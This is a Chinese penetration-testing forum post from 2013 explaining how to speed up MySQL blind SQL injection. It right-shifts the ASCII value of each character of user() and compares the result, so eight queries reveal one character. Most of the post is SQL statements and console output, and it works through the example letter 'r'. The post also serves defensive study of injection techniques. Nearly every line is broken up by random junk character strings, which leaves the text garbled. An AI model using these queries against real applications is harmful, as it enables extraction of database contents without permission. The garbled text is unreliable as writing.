中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
4 A0 [( ~* Y$ e8 N! L1 s
- K. J8 R5 H# A0 Q6 [
- a+ ~4 [+ A. C7 {7 N5 Z. n/ i3 Y9 {+ A" f! [5 ^
下面将以查询mysql数据库当中user()的第一位为例:% r' u% Q5 @* e) j

. J# S" N3 l' H; s4 u! Q* L( ]
- k% o5 o) n2 H8 E' l; d5 T* f, O/ i  ~
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
7 p& t3 V2 q; I9 q9 |$ t4 v" x! {" a6 D, |6 J: D

" {1 D9 F) v/ C& y
2 [6 G) U) `! N! c3 B3 N( A  @首先执行如下sql语句:
+ H( z2 O" _5 i6 L8 ^
. P  r4 g2 @. [* t5 w6 a0 G2 H
: i* f+ C. q1 I7 [3 \) o! X3 X3 F! H# N
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;8 }$ Y1 `& E7 w: }2 ^& P

6 {3 ~) a" |( C+ b2 c/ J2 }$ \* k) s5 K
# H+ J* N( C" r: P
" L$ S- N  B( o. J: N我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
# x9 u/ p8 A/ J7 D8 `0 h) o3 ]2 Z% ?8 B9 L% X, I! k$ W

- K* K  v9 _. n& f/ u$ u7 y2 d2 p. R1 O) v
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
3 ^) Y9 ]6 [/ c4 j7 _2 G8 P3 D
. d8 \9 B0 Z  ^! u- |5 U . f9 `* ~. [9 Q* F  q; Y

* c" }% a( A+ D5 s6 i" q# H7 d如果运算结果为1,说明第一位为0,不为1
4 J6 h& n% |& {1 g1 J8 H7 }: [3 Y$ t" ]( q0 L
  ?  f& T" l: `9 g/ T. c. M

8 `% n6 t+ M# F8 L" x; w3 x+————————————–+
* [. M1 I0 B' H* w; z( ]' P* F" v: A, S5 `# z9 q
| (ascii((substr(user(),1,1))) >> 7)=0 |1 X4 _" Z" \9 v
1 h) q  I# f! o! X
+————————————–+& D9 I8 ?" j6 T: f) Y  t) x+ ^

6 K- n: _) n/ q. s6 `* {| 1 |; ]" J, d: `/ \) G1 M0 h9 d& B6 @- Y
% M- Z+ {3 _5 V% o, N  V3 c
+————————————–+
# o9 k( {' \( Y2 W  X4 b0 O6 w% X( z0 R4 J
1 row in set (0.00 sec)
0 p. b. D/ j) O; T9 f) Y* h' L, m8 D
这样我们就确定这个8bit的ascii的第一位为05 a* s$ ?( P$ Z: b5 L. V) c; }, p- Q

4 Y! I' }0 z$ ]; E$ D 6 D* x5 i9 V2 f1 w/ \

  e! H6 M; o6 y2 x5 v# _2 ?. D) }第二次我们来做6次右偏移来确定前两位, O- Y' _0 q) T& a+ M4 z

+ W" y! [; Q0 [* R% i) x2 C 3 a$ c6 y2 D% k6 t7 I+ R

/ t) I4 j+ c/ A# @前两位可能是01或00,即依然可以与0做比较,
( s, W# M0 p# k/ s) v5 g: y8 x* q* X) o, U+ t
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
* n% `6 B) E+ J# b! `: s
1 V: E5 `2 @+ i+ d, j+————————————–+
2 _7 h; P+ S- k% h
/ l+ j% U2 e- d+ o| (ascii((substr(user(),1,1))) >> 6)=0 |4 w' N$ u: W# d1 G1 w

8 U: F$ E, y5 R5 V9 G9 P# g4 E3 X+————————————–+
! t/ T: f: U% a2 T# h) E
+ U0 @& O8 R0 ]. I  G9 u) u) ]| 0 |6 T5 G& z  b2 r3 h2 l
2 {! _; @4 ^2 j+ {; C
+————————————–+
8 [1 T# Y5 c6 e2 E) P4 J8 v  ^. _2 X! t# G- l
1 row in set (0.00 sec)" l( D- j  r. f" r2 Q5 S- p
2 v: ?8 ~# u% Y3 a- F0 W% h
8 e* I# R. q# C, Z

- c! l/ i) }5 b  J3 o* k结果为0,即第二位为1/ T3 R9 m1 U: [  S1 x
2 |# R0 o3 s- b2 T" p
( s- s# {4 `6 Z3 F; K- X& d
/ F6 V; m( p" w' c+ w9 w
开始猜测前三位为010或0119 d$ y2 T( _% n
  t' K5 R4 J4 R- N& z2 Y

9 Y$ {& A+ k: m" D) A
8 _  M0 [8 o% _" F. [让我们看看010和011的ascii码是多少
+ v' T  ^( h8 F# d! L1 K0 g
( O7 q2 {% y' m& B0 {( K 3 M5 J) [: ]3 w
- S1 X% c8 S; E  S& M, I! z) {6 y
分别查询select b’011′ select b’010′
2 e" d. y* Q6 E9 w& q& o0 ~
4 |# @: z2 e2 {2 R' U/ j5 x& b
) S1 e% R) R7 q! m1 {, {) l9 z- {. Z; l8 A& N
获得结果 010 = 2 011 = 3( [0 x1 ]- ?! t! W  y) p

8 Y4 {# y7 Q' [$ v
1 e  h/ N4 S! o& f/ u. l1 r2 s( x3 a* z2 h1 A, R
执行如下sql:; s6 p8 A! d& S0 t# S( B
, o' k5 h. N* }% K/ W9 W. t

: F; V5 D9 p% ^0 c( M% p
& w+ x  {- T* O0 X& Y: Bmysql> select (ascii((substr(user(),1,1))) >> 5)=2;* G1 C, \  }- ^) c9 ~9 f
8 b7 r+ X; H1 j: a
+————————————–+, d" E1 A3 M" k* O2 U4 h+ \7 T! X( P" V

: M( W  m7 [) l4 ]| (ascii((substr(user(),1,1))) >> 5)=2 |
+ A) a# T8 U8 `- c
$ m" |/ K: Z( ], _0 l+————————————–+
7 I( H+ `2 }+ {+ I/ b8 d0 F2 `3 ^) l5 _6 F/ c" T# e5 s8 r4 F3 g/ \7 E8 E3 w
| 0 |2 P5 F% \+ W1 J1 K. H# \0 c

! V: z4 b% e7 q, `' a9 V! o+————————————–+0 r4 Y! J- E. g. Q1 W

- q4 K! c$ U" S7 J$ C5 \; E: d( z即前三位不为010,而是0112 k1 ]( w2 ]7 `% u

% J( j# s4 |: y, H- D
9 {$ U5 ?4 e: |3 \' Y5 ~* Y$ l$ G; h9 n$ d8 F: `" ^+ l
直到获得最后一位
$ J! I+ d; W" b* G$ ?+ |
, I! H) J& q8 @  m
7 b: p( T+ D8 t  o  b) k% w  H, K/ W% I8 I
最终结果为:01110010. S* `3 u6 c) [0 J

+ x! n9 d. M6 t! G. c
; N0 x; C2 ^) e: ^
4 `  U: Q- z  r  l  v7 r% ?转换一下:
$ w2 m; W0 |% E3 M; h6 d9 ]9 S
' A4 K( Q- S9 R& ^7 G
- b1 W5 C4 {1 d  D1 \
! K. k. U+ C) }  ~( lselect b’01110010′
! G) R2 P' l+ {* a0 @8 Q, a5 u& f& J4 e

9 P- I1 D8 I- B" H& W5 M; t! F0 ~; ^  \; j; J7 l
查询结果
8 O5 g, G' k; p& D! Z7 K( j( |
2 S& p. R! r& ?( n" f, V& t7 `! z
( M# q; u4 w% Y8 w" _( |4 F! M
( y. L0 f5 x8 u0 s- h+————-+" O! c" L; q( U8 _8 p

" o* C( j  t, T4 j4 ^6 F1 i| b’01110010′ |1 H- z; s3 B$ v. \5 }7 y

$ _# v  [0 V! y9 {+ `+————-+; L. V) d( S$ ]( c" D) |
! F% k, ^2 V6 X
| r |
" V6 z& `' W6 k+ w
; B, T/ }$ Q0 [8 M0 x8 G+————-++ u+ p, }0 v% ~9 [. q8 a
: v+ d- f! w& }$ U8 Z! i$ U
1 row in set (0.00 sec)
; u: R; W9 J6 `" u8 o! y' `) \6 D% E) A$ o" }  m8 V! ], n) b

# k9 L- |. h+ I  d" l+ l& X; o
这样我们就获得了user()的第一位.其它位依此类推* F4 m: u1 J- x) c. o$ |9 V0 ?
5 ^, C0 [% ^$ c1 M





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2